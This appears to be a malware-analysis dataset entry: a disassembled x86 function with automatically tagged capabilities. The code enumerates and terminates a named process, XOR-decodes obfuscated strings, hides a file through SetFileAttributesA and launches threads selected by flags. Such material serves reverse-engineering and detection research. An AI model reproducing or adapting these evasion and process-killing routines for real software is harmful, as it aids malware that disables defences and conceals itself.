Function at 0x100262b0
Capabilities:
Create thread
Encode data using xor
Enumerate processes
Set file attributes
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x12c]
sub esp, 0x12c
push 0xffffffffffffffff
push 0x1002a9ab
mov eax, dword fs:[0]
push eax
sub esp, 0x174
mov eax, dword [0x10041bd0]
xor eax, ebp
mov dword [ebp + 0x128], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 0x134]
push 0
push 2
mov dword [ebp - 0x18], ebx
mov dword [ebp], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp]
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10026357
mov ecx, ebx
lea eax, [ebp + 0x24]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10026340
test dl, dl
je 0x1002633c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10026340
add eax, 2
add ecx, 2
test dl, dl
jne 0x10026320
xor eax, eax
jmp 0x10026345
sbb eax, eax
or eax, 1
test eax, eax
je 0x10026386
lea eax, [ebp]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10026315
cmp esi, 0xffffffff
je 0x10026363
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x128]
xor ecx, ebp
call fcn.100282d0
lea esp, [ebp + 0x12c]
pop ebp
ret
push dword [ebp + 8]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [0x1004206c], 1
mov edi, dword [sym.imp.ucrtbased.dll_malloc]
jne 0x100264a6
mov dword [ebp - 0x10], 0x10039d10
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x10026407
mov eax, dword [ebx + 0xf]
inc eax
push eax
call edi
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x100263fb
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
cmp edx, eax
jb 0x100263e2
mov byte [eax + edi], 0
mov esi, edi
mov edi, dword [sym.imp.ucrtbased.dll_malloc]
push 1
push 0x40
push 8
push esi
lea ecx, [ebp - 0x180]
call fcn.10004a20
mov dword [ebp - 0x10], 0x10039d38
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
mov dword [ebp - 4], 0
cmp byte [ebx + 0x13], 0
je 0x1002646f
mov eax, dword [ebx + 0xf]
inc eax
push eax
call edi
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10026469
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
cmp edx, eax
jb 0x10026450
mov byte [eax + edi], 0
mov esi, edi
lea eax, [ebp - 0x180]
push esi
push eax
call fcn.100045b0
push dword [ebp - 0x18]
lea eax, [ebp - 0x180]
push eax
call fcn.100045b0
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x180]
call fcn.10005010
mov edi, dword [sym.imp.ucrtbased.dll_malloc]
cmp dword [0x1004207c], 1
jne 0x10026723
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.ucrtbased.dll__time64]
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.ucrtbased.dll__localtime64]
mov dword [ebp - 0x10], 0x10039d5c
add esp, 8
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
mov dword [ebp - 0x14], eax
cmp byte [ebx + 0x13], 0
je 0x1002651f
mov eax, dword [ebx + 0xf]
inc eax
push eax
call edi
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10026519
sub esi, edi
nop dword [eax]
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + esi]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
cmp edx, eax
jb 0x10026500
mov byte [eax + edi], 0
mov esi, edi
push 1
push 0x40
push 8
push esi
lea ecx, [ebp - 0xd0]
call fcn.10004a20
mov dword [ebp - 0x10], str.HW
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
mov dword [ebp - 4], 1
cmp byte [ebx + 0x13], 0
je 0x1002658f
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10026589
sub esi, edi
nop dword [eax]
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + esi]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
cmp edx, eax
jb 0x10026570
mov byte [eax + edi], 0
mov esi, edi
lea eax, [ebp - 0xd0]
push esi
push eax
call fcn.100045b0
push dword [ebp - 0x14]
call dword [sym.imp.ucrtbased.dll_asctime]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.100045b0
mov dword [ebp - 0x10], str.av2__
add esp, 0x14
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x1002660f
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10026609
sub esi, edi
nop dword [eax]
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + esi]
mov byte [ecx], al
mov eax, dword [ebp - 0x14]
cmp edx, eax
jb 0x100265f0
mov byte [eax + edi], 0
mov esi, edi
lea eax, [ebp - 0xd0]
push esi
push eax
call fcn.100045b0
push dword [ebp - 0x18]
lea eax, [ebp - 0xd0]
push eax
call fcn.100045b0
mov dword [ebp - 0x10], 0x10039dbc
add esp, 0x10
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x10026681
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1002667b
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + esi]
mov byte [ecx], al
mov eax, dword [ebp - 0x14]
cmp edx, eax
jb 0x10026662
mov byte [eax + edi], 0
mov esi, edi
lea eax, [ebp - 0xd0]
push esi
push eax
call fcn.100045b0
add esp, 8
lea ecx, [ebp - 0xcc]
call fcn.10005500
test eax, eax
jne 0x100266ba
push eax
mov eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0xd0]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140D.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [ebp - 0x10], 0x10039df8
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x1002670f
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10026709
sub esi, edi
nop
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + esi]
mov byte [ecx], al
mov eax, dword [ebp - 0x14]
cmp edx, eax
jb 0x100266f0
mov byte [eax + edi], 0
mov esi, edi
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0xd0]
call fcn.10005010
mov eax, dword [0x10042070]
push 0
cmp eax, 1
jne 0x10026755
push 0
push 0
push 0x10026880
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x10026765
push 0
push 0
push 0x10026800
jmp 0x10026738
cmp eax, 3
jne 0x10026775
push 0
push 0
push 0x10026900
jmp 0x10026738
cmp eax, 4
jne 0x1002674f
push 0
push 0
push 0x10027880
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x10], 0x10039e10
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x100267e0
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100267da
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + esi]
mov byte [ecx], al
mov eax, dword [ebp - 0x14]
cmp edx, eax
jb 0x100267c1
mov byte [eax + edi], 0
mov esi, edi
push 0x200010
push esi
push dword [ebp - 0x18]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1002674d